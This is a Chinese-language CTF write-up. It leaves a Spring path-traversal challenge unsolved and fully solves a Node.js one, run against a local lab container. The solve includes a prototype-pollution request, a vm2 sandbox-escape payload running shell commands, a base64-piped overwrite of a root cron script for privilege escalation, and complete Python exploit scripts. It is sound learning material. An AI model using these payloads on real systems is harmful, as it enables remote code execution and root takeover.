前言
鼠鼠我第一次打比賽打這麼狼狽 , 斷網0解 , 唉唉 , 第一次注意到自己知識庫的重要性 , 平時一有問題就直接問ai , 這兩題都是要CVE的 , 這個月要沒錢了 , 鼠鼠belike:
jdbc
原文件給了
和一個tar的fix包:
Webconfig.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.ctf.config;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.core.io.FileSystemResource; import org.springframework.http.codec.ServerCodecConfigurer; import org.springframework.web.reactive.function.server.RouterFunction; import org.springframework.web.reactive.function.server.RouterFunctions; import org.springframework.web.reactive.function.server.ServerResponse;
@Configuration public class WebConfig {
@Bean public RouterFunction<ServerResponse> route() { return RouterFunctions .resources("/static/**", new FileSystemResource("/app/static/")); } }
|
其實一眼目錄遍歷 , 但不知如何遍歷 , 沒網啊 , 沒對應的java源碼 , 掃掃不出來
名字是給了, Spring Framework , x哥發的CVE
CVE: CVE-2024-38816 Spring Framework
看紅暈了
fix: 等別人師傅wp吧
nodejs
原文件給了 app.js 和 package.json
我這裹加一個前端上去 , 看隃看別人wp , flag 是在/app/public/的 , 在那搞一個
先開個容器先:
nodejs題目仿寫
bulid :
1 2
| docker build -t nodejs . docker run --rm -p 3000:3000 --name nodejs nodejs
|
app.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177
| const express = require('express'); const path = require('path'); const session = require('express-session'); const { VM } = require('vm2'); const app = express();
app.use('/static', express.static(path.join(__dirname, 'public'))); app.use(express.json());
app.use(session({ secret: 'random', resave: false, saveUninitialized: false, cookie: { maxAge: 3600000, httpOnly: true } }));
const users = {};
function merge(target, source) { for (let key in source) { if (key === '__proto__') continue; if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; }
app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html')); });
app.post('/register', (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.json({ error: '用户名和密码不能为空' }); } if (users[username]) { return res.json({ error: '用户已存在' }); } users[username] = { username, password }; res.json({ message: '注册成功,请登录' }); });
app.post('/login', (req, res) => { const { username, password } = req.body; const user = users[username]; if (!user || user.password !== password) { return res.json({ error: '用户名或密码错误' }); } req.session.user = { username: user.username }; res.json({ message: '登录成功', user: { username: user.username, isAdmin: user.isAdmin } }); });
app.post('/logout', (req, res) => { req.session.destroy((err) => { if (err) { return res.json({ error: '退出失败' }); } res.json({ message: '已退出登录' }); }); });
app.post('/changepassword', (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; const { oldPassword, newPassword, confirmPassword } = req.body; if (user.password !== oldPassword) { return res.json({ error: '旧密码错误' }); } if (newPassword !== confirmPassword) { return res.json({ error: '两次密码不一致' }); } merge(user, req.body); user.password = newPassword; res.json({ message: '密码修改成功' }); });
app.get('/me', (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; res.json({ username: user.username, isAdmin: user.isAdmin }); });
app.get('/admin', (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; if (user.isAdmin === true) { res.json({ message: '欢迎管理员!', }); } else { res.json({ error: '需要管理员权限' }); } });
app.post('/sandbox', async (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; if (user.isAdmin !== true) { return res.json({ error: '需要管理员权限' }); } const { code } = req.body; if (!code) return res.json({ error: '请提供代码' }); try { const sandboxResult = { value: null }; const vm = new VM({ timeout: 5000, sandbox: { __result: sandboxResult } }); const result = vm.run(code); await new Promise(resolve => setTimeout(resolve, 500)); res.json({ result: result?.toString() || '执行成功', output: sandboxResult.value }); } catch (error) { res.json({ error: error.message }); } });
app.listen(3000, () => { console.log('Server running on port 3000'); });
|
package.json:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| { "name": "nodejs", "version": "1.0.0", "description": "nodejs", "main": "app.js", "scripts": { "start": "node app.js" }, "dependencies": { "express": "^4.18.2", "express-session": "^1.17.3", "vm2": "3.10.0" } }
|
第一關:原形鏈污染
先看看app.js
1 2 3 4 5 6 7 8 9 10 11 12
| function merge(target, source) { for (let key in source) { if (key === '__proto__') continue; if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; }
|
经典的 constructor.prototype 绕过,这段 merge() 过滤了 proto,但没挡住 constructor -> prototype
在/changepassword 抓一下包 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST /changepassword HTTP/1.1 Host: 127.0.0.1:3000 Content-Length: 73 sec-ch-ua-platform: "Windows" Accept-Language: zh-TW,zh;q=0.9 sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99" Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: */* Origin: http://127.0.0.1:3000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:3000/static/password.html Accept-Encoding: gzip, deflate, br Cookie: connect.sid=s%3AdBUp59pMe2cItoFR3Igm0Wwy9EU0QrB1.%2Fj41BSvHU1UeAHtDdn5Wpxvq9mssW%2Fix7mOF0rpnKpo Connection: keep-alive
{ "oldPassword":"12345", "newPassword":"123456", "confirmPassword":"123456", "constructor":{ "prototype":{ "isAdmin" : true } } }
|
第二關:沙箱逃逸
http://127.0.0.1:3000/static/sandbox.html
鼠鼠我是第一次打沙箱逃逸,現場賽真的很狼狽 , 問了問隊友拿CVE
x哥給的CVE : vm2沙箱逃逸漏洞
它是 Node.js / JavaScript 的沙盒逃逸 , 鼠鼠還真對JS沙盒不熟
省流: 大概是vm2 使用 Promise 的 then 和 catch 方法时,对回调函数的清理存在缺陷
then / catch
它们是 JavaScript 里 Promise 的标准方法 , Promise.prototype.then、Promise.prototype.catch 都是 Promise 原型上的标准方法。
Promise 就是“现在还没出结果,之后会有结果”的对象。
结果只有两种常见状态:
fulfilled:成功,拿到值
rejected:失败,拿到错误
then 是“等它完成之后,继续做下一步”。
常见写法:
1 2 3
| fetchData().then(value => { console.log(value); });
|
Promise.prototype.then 写两个参数:
1
| promise.then(onFulfilled, onRejected)
|
catch 是“专门处理失败”。
常见写法:
1 2 3
| fetchData().catch(err => { console.log(err); });
|
Promise.prototype.catch:
1
| promise.catch(onRejected)
|
vm2 在处理 Promise 的 then / catch 回调时,保护没做完整。
看一看原碼, 這裹要發的是__result.value , 沙盒格式是json :
先試了試:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| const error = new Error(); error.name = Symbol();
const f = async () => error.stack; const p = f();
p.catch(e => { const Error = e.constructor; const Function = Error.constructor; __result.value = Function( "return process.mainModule.require('child_process').execSync('id').toString()" )(); });
"submitted";
|
第三關:提權
改改command
1 2 3 4 5 6
| pwd /app whoami ctf ls -l / > /app/public/1 cat /app/public/1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| drwxr-xr-x 1 ctf ctf 4096 Apr 22 10:55 app -rwxrwxrwx 1 root root 535 Apr 22 10:49 backup.sh drwxr-xr-x 1 root root 4096 Mar 27 2025 bin drwxr-xr-x 5 root root 340 Apr 22 11:44 dev drwxr-xr-x 1 root root 4096 Apr 22 11:44 etc -r-------- 1 root root 28 Apr 22 10:25 flag drwxr-xr-x 1 root root 4096 Apr 22 10:55 home drwxr-xr-x 1 root root 4096 Feb 13 2025 lib drwxr-xr-x 5 root root 4096 Feb 13 2025 media drwxr-xr-x 2 root root 4096 Feb 13 2025 mnt drwxr-xr-x 1 root root 4096 Mar 27 2025 opt dr-xr-xr-x 320 root root 0 Apr 22 11:44 proc drwx------ 1 root root 4096 Apr 22 11:44 root drwxr-xr-x 3 root root 4096 Feb 13 2025 run drwxr-xr-x 2 root root 4096 Feb 13 2025 sbin drwxr-xr-x 2 root root 4096 Feb 13 2025 srv -rwxr-xr-x 1 root root 217 Apr 22 10:49 start.sh dr-xr-xr-x 13 root root 0 Apr 22 11:44 sys drwxrwxrwt 1 root root 4096 Apr 22 11:44 tmp drwxr-xr-x 1 root root 4096 Mar 27 2025 usr drwxr-xr-x 11 root root 4096 Feb 13 2025 var
|
cat /flag 試試:
可以看出要提權到root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #!/bin/sh set -eu
mkdir -p /tmp/backups
# 背景定時備份 ( while true; do /backup.sh sleep 60 done ) &
# 以前台方式用 ctf 身份啟動 node 服務 cd /app exec su ctf -s /bin/sh -c "npm start"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #!/bin/sh
# 備份應用原始碼到 /tmp/backups 目錄 BACKUP_DIR="/tmp/backups" TIMESTAMP=$(date +%Y%m%d_%H%M%S) BACKUP_FILE="$BACKUP_DIR/app_backup_$TIMESTAMP.tar.gz"
# 建立備份目錄 mkdir -p "$BACKUP_DIR"
# 備份應用檔案 echo "Creating backup: $BACKUP_FILE" tar -czf "$BACKUP_FILE" -C /app .
# 設定備份檔案權限 chmod 644 "$BACKUP_FILE"
# 清理舊備份(保留最近5個) cd "$BACKUP_DIR" && ls -t app_backup_*.tar.gz | tail -n +6 | xargs rm -f 2>/dev/null || true
echo "Backup completed: $BACKUP_FILE"
|
可以看出每60s會执行./backup.sh
如果我可以覆盖backup.sh 就可以在/tmp/backups上找到flag
cat /flag > /app/public/flag
1 2 3 4 5 6
| node:internal/errors:865 const err = new Error(message); ^
Error: Command failed: cat /flag > /app/public/flag /bin/sh: can't create /app/public/flag: Permission denied
|
echo "cat /flag > /app/public/flag" > /backup.sh
我趣沒那麼多”用啊 , 轉一轉base64
echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh
等60秒刷一下環境
cat /app/public/flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import requests
base = "http://127.0.0.1:3000" s = requests.Session()
username = "ghsc" password = "123456"
r = s.post( f"{base}/register", json={"username": username, "password": password}, timeout=10, ) print("register:", r.status_code, r.text)
r = s.post( f"{base}/login", json={"username": username, "password": password}, timeout=10, )
print("changepassword:", r.status_code, r.text) r = s.post( f"{base}/changepassword", json={ "oldPassword":"123456", "newPassword":"12345", "confirmPassword":"12345", "constructor":{ "prototype":{ "isAdmin" : True } } }, timeout=10, )
password = "12345"
print("cookies:", s.cookies.get_dict())
r = s.get(f"{base}/me", timeout=10) print("me:", r.status_code, r.text)
r = s.post( f"{base}/sandbox", json={ "code": '__result.value = "hello from sandbox"; "ok";' }, timeout=10, ) print("sandbox:", r.status_code, r.text)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import requests
base = "http://127.0.0.1:3000" s = requests.Session()
username = "ghsc" password = "12345"
r = s.post( f"{base}/login", json={"username": username, "password": password}, timeout=10, )
code = """ const error = new Error(); error.name = Symbol();
const f = async () => error.stack; const p = f();
p.catch(e => { const Error = e.constructor; const Function = Error.constructor; __result.value = Function( " return process.mainModule.require('child_process').execSync('echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh').toString()" )(); });
""".strip()
r = s.post( f"{base}/sandbox", json={ "code": code }, timeout=10, ) print("sandbox:", r.status_code, r.text)
|
60s後
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import requests
base = "http://127.0.0.1:3000" s = requests.Session()
username = "ghsc" password = "12345"
#login r = s.post( f"{base}/login", json={"username": username, "password": password}, timeout=10, )
code = """ const error = new Error(); error.name = Symbol();
const f = async () => error.stack; const p = f();
p.catch(e => { const Error = e.constructor; const Function = Error.constructor; __result.value = Function( " return process.mainModule.require('child_process').execSync('cat /app/public/flag').toString()" )(); });
""".strip()
#sandbox r = s.post( f"{base}/sandbox", json={ "code": code }, timeout=10, ) print("sandbox:", r.status_code, r.text)
|
都看到這了 , 睡覺吧: